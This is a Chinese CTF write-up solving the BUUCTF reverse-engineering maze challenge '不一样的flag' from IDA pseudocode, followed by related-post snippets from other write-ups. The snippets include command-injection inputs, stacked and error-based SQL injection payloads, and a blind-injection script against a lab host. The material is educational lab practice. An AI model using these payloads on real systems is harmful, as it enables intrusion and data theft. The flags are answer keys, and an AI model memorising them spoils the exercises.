天道酬勤,学无止境

BUUCTF_不一样的 flag


BUUCTF_不一样的 flag


打开程序:

在这里插入图片描述啥玩意?打1,2,3,4 都没用,用IDA加载程序,找到主函数,如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // [esp+17h] [ebp-35h]
  int v4; // [esp+30h] [ebp-1Ch]
  int v5; // [esp+34h] [ebp-18h]
  signed int v6; // [esp+38h] [ebp-14h]
  int i; // [esp+3Ch] [ebp-10h]
  int v8; // [esp+40h] [ebp-Ch]

  __main();
  v4 = 0;
  v5 = 0;
  qmemcpy(&v3, _data_start__, 0x19u);
  while ( 1 )
  {
    puts("you can choose one action to execute");
    puts("1 up");
    puts("2 down");
    puts("3 left");
    printf("4 right\n:");
    scanf("%d", &v6);
    if ( v6 == 2 )
    {
      ++v4;
    }
    else if ( v6 > 2 )
    {
      if ( v6 == 3 )
      {
        --v5;
      }
      else
      {
        if ( v6 != 4 )
LABEL_13:
          exit(1);
        ++v5;
      }
    }
    else
    {
      if ( v6 != 1 )
        goto LABEL_13;
      --v4;
    }
    for ( i = 0; i <= 1; ++i )
    {
      if ( *(&v4 + i) < 0 || *(&v4 + i) > 4 )
        exit(1);
    }
    if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 41) == '1' )
      exit(1);
    if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 41) == '#' )
    {
      puts("\nok, the order you enter is the flag!");
      exit(0);
    }
  }
}

下图函数是将_data_start_拷贝到&v3这个地址上,双击_data_start_查看字符串.

在这里插入图片描述
是一串1,0 ,*,# 数字,一共25个,还是😵往下看.

在这里插入图片描述
这个 if 语句下面的 puts("\nok, the order you enter is the flag!"),不就是输出"好的,你输入的顺序就是答案"嘛,在下图中把0x31和0x23转化为字符是"1","#",也就是说走到"1"程序将退出,走到"#"就输出字符串,现在懂了原来是迷宫!!!

在这里插入图片描述

25个字符,那刚好是一个5*5的迷宫!

在这里插入图片描述
我们走0不走1,得到222441144222的结果,这个就是flag!!!

受限制的 HTML

  • 允许的HTML标签:<a href hreflang> <em> <strong> <cite> <blockquote cite> <code> <ul type> <ol start type> <li> <dl> <dt> <dd> <h2 id> <h3 id> <h4 id> <h5 id> <h6 id>
  • 自动断行和分段。
  • 网页和电子邮件地址自动转换为链接。

相关推荐
  • BUUCTF-Reverse-不一样的flag
    不一样的flag 第一次见到迷宫类型的题目,记录一波 查壳 继续先用exeinfo PE检查文件,无壳,exe,32bit IDA分析 定位到main函数 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char v3; // [esp+17h] [ebp-35h] int v4; // [esp+30h] [ebp-1Ch] int v5; // [esp+34h] [ebp-18h] int v6; // [esp+38h] [ebp-14h] int i; // [esp+3Ch] [ebp-10h] char v8[12]; // [esp+40h] [ebp-Ch] __main(); v4 = 0; v5 = 0; qmemcpy(&v3, _data_start__, 0x19u); //_data_start__'*11110100001010000101111#' /* 迷宫地图 * 1 1 1 1 0 1 0 0 0 0 1 0 1 0 0 0 0 1 0 1 1 1 1 # */ while ( 1 ){ puts("you can choose one action to execute"); puts("1 up"); puts("2 down")
  • BUUCTF reverse:不一样的flag
    1.查壳 无壳,32位文件 2.IDA分析 找到main函数,F5反编译 int __cdecl main(int argc, const char **argv, const char **envp) { char v3; // [esp+17h] [ebp-35h] int v4; // [esp+30h] [ebp-1Ch] int v5; // [esp+34h] [ebp-18h] signed int v6; // [esp+38h] [ebp-14h] int i; // [esp+3Ch] [ebp-10h] int v8; // [esp+40h] [ebp-Ch] __main(); v4 = 0; v5 = 0; qmemcpy(&v3, _data_start__, 0x19u); while ( 1 ) { puts("you can choose one action to execute"); puts("1 up"); puts("2 down"); puts("3 left"); printf("4 right\n:"); scanf("%d", &v6); if ( v6 == 2 ) { ++v4; } else if ( v6 > 2 ) { if ( v6 == 3 ) { --v5; } else { if ( v6 != 4 )
  • BUUCTF re不一样的flag
    0x01   0x02 运行   0x03 IDA int __cdecl main(int argc, const char **argv, const char **envp) { char v3; // [esp+17h] [ebp-35h] int v4; // [esp+30h] [ebp-1Ch] int v5; // [esp+34h] [ebp-18h] signed int v6; // [esp+38h] [ebp-14h] int i; // [esp+3Ch] [ebp-10h] int v8; // [esp+40h] [ebp-Ch] __main(); v4 = 0; v5 = 0; qmemcpy(&v3, _data_start__, 0x19u); while ( 1 ) { puts("you can choose one action to execute"); puts("1 up"); puts("2 down"); puts("3 left"); printf("4 right\n:"); scanf("%d", &v6); if ( v6 == 2 ) { ++v4; } else if ( v6 > 2 ) { if ( v6 == 3 ) { --v5; } else { if ( v6 != 4 ) LABEL_13: exit
  • BUUCTF--不一样的flag
    PE查看无壳,,32位 进入主函数看一下,这里主函数比较长,,分开截一下 P1 P2 从P1可以初步判断,,这可能是应该迷宫的题目 进入主函数的_data_start_函数 P3 由P2和P3综合判断,这是应该迷宫题,,且是一个5*5的迷宫 1111 01000 01010 00010 1111# 由P2可以判断遇到1就停止,,那么我们迷宫的路线就是,,从开始到#停止,,走0不走1 根据P1的1,2,3,4代表上下左右 那么就可以的到路线是222441144222,,即flag{222441144222} 来源:https://blog.csdn.net/weixin_45948183/article/details/106373883
  • [BUUCTF]REVERSE------不一样的flag
    不一样的flag 例行检查,无壳,32bit 用32位IDA打开,看到一串二进制字符串,下面又有上下左右的选项,无头绪,看了下别人的WP,原来是道迷宫题。 一共有25个数据,应该是55的 用55打印出来,从*出发,走0走不碰到1,到#结束 再结合它的程序 所以得到的结果应该是 222441144222 flag{222441144222} 来源:https://blog.csdn.net/BangSen1/article/details/112779102
  • BUUCTF练习日志(二)
    1.基础破解 套娃题。。。.zip文件解出.rar文件,解压.rar文件的时候需要输入密码。 搜了binwalk暴力破解的指令。。。但是太慢了。。。果断换了工具(ARCHPR)。。。 攻击类型选择掩码,然后选数字, 口令即为文件密码。 输入密码解压之后,得到一个记事本, base 64解码得到flag:flag{70354300a5100ba78068805661b93a5c} 2.乌镇峰会种图 和第五题“你竟然赶我走”是一样的。 Analysis→File Format→flag flag{97314e7864a8f62627b26f3f998c37f1} 3.最低位 是一道LBS的隐写题。。。Orz LSB也就是最低有效位 (Least Significant Bit)。原理就是图片中的像数一般是由三种颜色组成,即三原色,由这三种原色可以组成其他各种颜色,例如在PNG图片的储存中,每个颜色会有 8bit,LSB隐写就是修改了像数中的最低的1bit,在人眼看来是看不出来区别的,也把信息隐藏起来了。譬如我们想把’A’隐藏进来的话,如下图,就 可以把A转成16进制的0x61再转成二进制的01100001,再修改为红色通道的最低位为这些二进制串。 LBS解释部分来源链接 用stegsolve修改颜色通道(先preview,再save bin) 得到了一个文件,用图片的方式打¼
  • BUUCTF__[GXYCTF2019]Ping Ping Ping_题解
    前言 我感觉我是一个假的理工科生,假的计算机相关专业学生,完全没有该有的样子这题有点东西,不算太水。只是对我来说。 读题 题目是Ping,打开也没有内容,就一个get传参的ip变量 不过看到ip和ping就容易联想到,终端ping命令。先尝试传入一个ip=127.0.0.1,于是乎出现了如下,在终端下执行的效果就是这样,命令执行石锤了。 所以,利用拼接符在ping命令后添加我们需要的命令即可。所以可以用拼接符 & 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server & && 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’ | 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l || 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail” ; 分号表示命令依次执行。 首先尝试了&& 但居然没有回显,很奇怪,理论上ping 1270.0.0.1&&ls(为啥是ls命令?拿flag总得知道它在哪吧)应该是可以的,但不知道为什么,还有就是输入无法ping通的ip也是一样的回显,可能是因为这是假ping吧,前面没成功,所以后面不执行然后尝试用| 回显得知 index.php 和 flag.php 尝试用cat命令读取flag
  • buuctf re部分wp
    文章目录 helloword | easyreverse1reverse2新年快乐 | easyxor | easy内涵的软件 | easyreverse3不一样的flagSimpleRev 求关注公众号 lin先森 helloword | easy reverse1 https://www.cnblogs.com/harmonica11/p/11365728.html reverse2 新年快乐 | easy xor | easy a =[0x66,0x0A,0x6B,0x0C,0x77,0x26,0x4F,0x2E,0x40,0x11,0x78,0x0D,0x5A,0x3B,0x55,0x11,0x70,0x19,0x46,0x1F,0x76,0x22,0x4D,0x23,0x44,0x0E,0x67,0x06,0x68,0x0F,0x47,0x32,0x4F] flag = '' for ii in range(len(a)): flag+=chr(a[ii]^a[ii-1]) # print len(a) print flag 内涵的软件 | easy ida打开 reverse3 不一样的flag 由*开始,由#结束,每五个一换行 不能走1 *1111 01000 01010 00010 1111# 222441144222 [外链图片转存失败(img-7KH7bKAs
  • BUUCTF Crypto
    BUUCTF Crypto Windows系统密码题目思路 大帝的密码武器题目思路 凯撒?替换?呵呵!题目思路 信息化时代的步伐题目思路 robomunication题目思路 old-fashion题目思路 权限获得第一步题目思路 世上无难事题目思路 异性相吸题目思路 萌萌哒的八戒题目思路变种其他变种 Windows系统密码 题目 给了一个文件,名字为pass.hash, 思路 很明显直接取ctf后面那32位的MD5就可以得到flag。 大帝的密码武器 题目 给了一个名叫zip的文件,更改后缀,看到压缩包里有两个文件 思路 很明显是凯撒加密,利用脚本跑一下 可以看到第13个单词有意义,利用相同的加密方式加密密文就可以得到flag。代码如下 from __future__ import print_function str = 'FRPHEVGL' #凯撒密码字符串 for i in range(0,26): for item in str: num = ord(item)+int(i) if(num>90): #到了Z以后往回取 num-=26 print (chr(num),end='') else: print (chr(num),end='') print () 凯撒?替换?呵呵! 题目 MTHJ
  • 从零开始的[BUUCTF-reverse1]
    [BUUCTF-reverse1] 逆向复习 1.打开IDA导入文件(其实首先要放入Exeinfo PE中查看信息) 2.shift+f12搜索关键字符串 如 3.遇到问题 摸到字符串地址的时候 不能用f5查看伪代码 并且不能转换成框图 怀疑原因是ida没有识别出这些是函数 我曾经也遇到过这个问题。然而在百度的过程中,发现“Create Fun”方法并没有用。 实际上,跟进下面sub_1400118C0地址,就能找到函数所在。(已然是框图显示) F5查看loc_140011948的伪代码(改正:其实F5已经结合整个框图) int64 sub_1400118C0() { char *v0; // rdi signed __int64 i; // rcx size_t v2; // rax size_t v3; // rax char v5; // [rsp+0h] [rbp-20h] int j; // [rsp+24h] [rbp+4h] char Str1; // [rsp+48h] [rbp+28h] unsigned __int64 v8; // [rsp+128h] [rbp+108h] v0 = &v5; for ( i = 82i64; i; --i ) { *(_DWORD *)v0 = -858993460; v0 += 4; } for ( j = 0; ; +
  • BUUCTF-Misc-No.2
    文章目录 比赛信息[GUET-CTF2019]虚假的压缩包 | SOLVED[MRCTF2020]Unravel!! | SOLVED[SWPU2019]伟大的侦探 | SOLVED[BJDCTF2020]纳尼 | SOLVED[MRCTF2020]小O的考研复试 | SOLVED[BJDCTF2020]藏藏藏 | SOLVED[SWPU2019]你有没有好好看网课? | SOLVED粽子的来历 | SOLVED[HBNIS2018]来题中等的吧 | SOLVED[BJDCTF 2nd]Imagin - 开场曲 | SOLVEDjohn-in-the-middle | SOLVED[BJDCTF2020]一叶障目 | SOLVED[RoarCTF2019]黄金6年 | SOLVED 比赛信息 比赛地址:Buuctf靶场 [GUET-CTF2019]虚假的压缩包 | SOLVED 解压文件夹,发现2个zip,第一个伪加密,破解后 n=33 e=3 m=0 while m<100: c=(m**e)%n if(c==26): print ("c=",c); print ("M=",m); m+=1 用简单脚本炸一下 知道了密码是:答案是5 解压真正文件夹,一个图片,一个文件,图片打开是png格式,修改一下格式爆破一下高度,改个高度 百度一下发现是异或加密,脚本解 f1 = open('
  • buuctf刷题记录19 buuctf FindKey
    个人感觉这个题出的不好,md5根本找不到(是我太菜) 经典无壳,拖进ida,f12找到关键字符串,发现左边地址是红色的,应该是用了花指令,果然 两个一样的指令连在一起,把下面的去掉,按p声明函数,再f5看反编译 程序逻辑并不是太难,有两处关键运算和一个关键判断 第一个关键运算是将输入的pbdata与v16进行异或,最后与v20进行比较 逻辑很简单,直接写脚本,得到第一个字符串:c8837b23ff8aaa8a2dde915473ce0991 然后如果直接按照第二个关键运算算的话,算不出来 看别人的wp说,根据库函数可以看出这里经过md5加密(就这步咋也找不到,真不知道这个人是咋找的) 链接 []: https://www.dongzt.cn/archives/2019%E5%B9%B43%E6%9C%88%E5%AE%89%E6%81%92%E5%B9%B3%E5%8F%B0%E5%91%A8%E5%91%A8%E7%BB%83%E7%9A%84%E5%81%9A%E9%A2%98%E6%80%9D%E8%B7%AF%E5%88%86%E4%BA%AB.html#0x02findkey 然后把这个字符串去md5解密网站上找一哈,得到:123321 然后再进行第二个关键运算,跟第一个基本一样,只不过是换了换参数, 脚本 #include <stdio.h> #include
  • CTF-BUUCTF-CRPTO-[BJDCTF 2nd]rsa1 1
    1、打开靶机:node3.buuoj.cn:27130(每次都不一样) 出现e=15119633 多刷新几次:(每次刷出的方程给的值都不一样) e=16503007 p^2+q^2=191146428321980817795212641215162686047357669332416091297833006786164494043847255271801778794176251547557019160665613701693648426384225631886269021243151558943679889418338368241412422569687766964729377744288202166111647562390360336532132291873672355362548716474909574058763233055538919589653219840975053365498 p-q=1865820751943598188049386659480047616343158342079231985092439521370754039600355931593479747035299328827429947497928889872991706097661349587881273476898614 c
  • BUUCTF [SUCTF 2019]EasySQL
    打开界面 试了一下有三种显示 还有一个没有输出 可以堆叠注入 1;show databases; 1;show tables; 可以看到有一个Flag表 测试发现from flag都被过滤不能直接读到flag 想了很久想不到 看别人wp了~ 看见听说比赛的时候原理泄漏了的 select $_GET['query'] || flag from flag 是这样 md 谁想的到啊 别欺负我们菜鸡好不好 不过由于没有过滤 * 出现了一个意外解 *,1 预期解 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能 1;set sql_mode=PIPES_AS_CONCAT;select 1 结果一样的 就不截图了 来源:https://blog.csdn.net/qq_42158602/article/details/103930598
  • 逆向学习--BUUCTF--xor
    下载 解压之后,发现是一个文件夹加一个名为xor的文件,先用Exeinfo分析一下,不知道为什么得出的结果和网上的大佬不一样,不过这无关紧要。 可以知道是64bit,所以丢到IDA里面分析一下,进去之后,找到main函数并且F5反汇编得到的代码如下: int __cdecl main(int argc, const char **argv, const char **envp) { char *v3; // rsi int result; // eax signed int i; // [rsp+2Ch] [rbp-124h] char v6[264]; // [rsp+40h] [rbp-110h] __int64 v7; // [rsp+148h] [rbp-8h] memset(v6, 0, 0x100uLL); v3 = (char *)256; printf("Input your flag:\n", 0LL); get_line(v6, 0x100u); if ( strlen(v6) != 33 ) //可以知道flag是33位 goto LABEL_12; for ( i = 1; i < 33; ++i ) v6[i] ^= v6[i - 1]; //将输入的字符串从第二位开始,后一位与前一位异或 v3 = global; if ( !strncmp(v6
  • BUUCTF-Reverse-SimpleRev
    SimpleRev 查壳 继续先用exeinfo PE检查文件,无壳,ELF,64bit 使用IDA静态分析 继续跟进Decry()函数 unsigned __int64 Decry(){ char v1; // [rsp+Fh] [rbp-51h] int v2; // [rsp+10h] [rbp-50h] int v3; // [rsp+14h] [rbp-4Ch] int i; // [rsp+18h] [rbp-48h] int v5; // [rsp+1Ch] [rbp-44h] char src[8]; // [rsp+20h] [rbp-40h] BYREF __int64 v7; // [rsp+28h] [rbp-38h] int v8; // [rsp+30h] [rbp-30h] __int64 v9[2]; // [rsp+40h] [rbp-20h] BYREF int v10; // [rsp+50h] [rbp-10h] unsigned __int64 v11; // [rsp+58h] [rbp-8h] v11 = __readfsqword(0x28u); *(_QWORD *)src = 'SLCDN'; //注意这里是以小端方式存储 v7 = 0LL; v8 = 0; v9[0] = 'wodah'; //注意这里是以小端方式存储 v9[1
  • re学习笔记(6)BUUCTF-re-SimpleRev
    新手一枚,如有错误(不足)请指正,谢谢!! 题目链接:BUUCTF-re-SimpleRev 载入IDA_64 进入main函数查看 发现没关键代码,进入Decry()函数查看 unsigned __int64 Decry() { char v1; // [rsp+Fh] [rbp-51h] int v2; // [rsp+10h] [rbp-50h] int v3; // [rsp+14h] [rbp-4Ch] int i; // [rsp+18h] [rbp-48h] int v5; // [rsp+1Ch] [rbp-44h] char src[8]; // [rsp+20h] [rbp-40h] __int64 v7; // [rsp+28h] [rbp-38h] int v8; // [rsp+30h] [rbp-30h] __int64 v9; // [rsp+40h] [rbp-20h] __int64 v10; // [rsp+48h] [rbp-18h] int v11; // [rsp+50h] [rbp-10h] unsigned __int64 v12; // [rsp+58h] [rbp-8h] v12 = __readfsqword(0x28u); *(_QWORD *)src = 'SLCDN'; v7 = 0LL; v8 = 0; v9 =
  • BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World
    BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World 打开题目,看提示貌似是一个sql注入的题目~~ 进行简单测试,貌似不是报错注入,直接进行盲注测试,构造一波!! 抓包构造:id=1=(1)=1与id=1=(0)=1显示是不一样的: 我们可以根据页面显示来进行注入!!fuzz一波,看看过滤了啥! 482都是被过滤了的: ok,ascii没有被过滤,substr也没有!!空格被过滤可以使用()代替,,<>也没有被过滤,=也没有 直接写脚本即可: import requests import base64 import sys import string import hashlib import io import time sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8') #改变标准输出的默认编码,否则s.text不能输出 x = string.printable flag = "" url = "http://56039d8e-d2a3-4fc1-8195-3e18f2c1ea8c.node3.buuoj.cn/index.php" payload={ "id" : "" } for i in range(0,60): for j in x
  • BUUCTF reverse_1,reverse_2,reverse_3
    reverse1 首先下载题目直接·先到PE里面查一下壳,这个题是无壳,64位 接下来到ida里面分析 找到敏感字符串,F5到1400118C0里面看看伪代码 这里可以发现,,是一个字符串比较的函数 双击看看str2里面都有什么 相应的我们把{hell0_world}里面的’o’换成0就得到flag了 reverse2 和reverse1一样,先看看有没有敏感字符 这个题同样是有的,,接下来和上面操作一样,进去看看 看到了一个和flag长得很像的东西,试了一下这个不是flag,七分逆向三分猜,,flag肯定和他有关 继续回主函数分析 我们直接替换成ASCII码,,换的方法呢直接右键就可以了 右键点击字符,就直接转换成ASCII码了 然后把刚刚那一串里面的i换成1,把r换成o,就得到flag:flag{hack1ng_fo1_fun} reverse3 PE查看,,32位,无壳 进入主函数 经分析,,str2存储由flag变换得到的一些数据 一一排查这几行代码,,,发现红框处里面涉及了aAbcdefghijklmn[]的数组变换 双击进去,,可以看出是base64编码 这里只需要简单的base64解码就可以了 import base64 str1 = 'e3nifIH9b_C@n@dH' x = '' f = '' for i in range(0, len(str1)): x +=
  • BUUCTF-web刷题记录-2
    [极客大挑战 2019]HardSQL 一个登陆框,简单测试一下很多包括union等字符被过滤了,这里这样构造可以成功登录,但是没有flag,所以是要把flag从数据库读出来了 admin'Or(1)# 1 发现^没有被过滤,可以用来代替and,与extractvalue函数结合来尝试进行报错注入 这个函数在这里的大致用法是这样的,extractvalue(null,concat(0x7e,user(),0x7e)),中间的user()即为你想执行的查询语句 接下来这题就是爆库,爆表,爆字段,爆内容的基本操作了 注入过程语句 1'^extractvalue(null,concat(0x7e,database(),0x7e))# 1'^extractvalue(null,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e))# 1'^extractvalue(null,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e))# 1'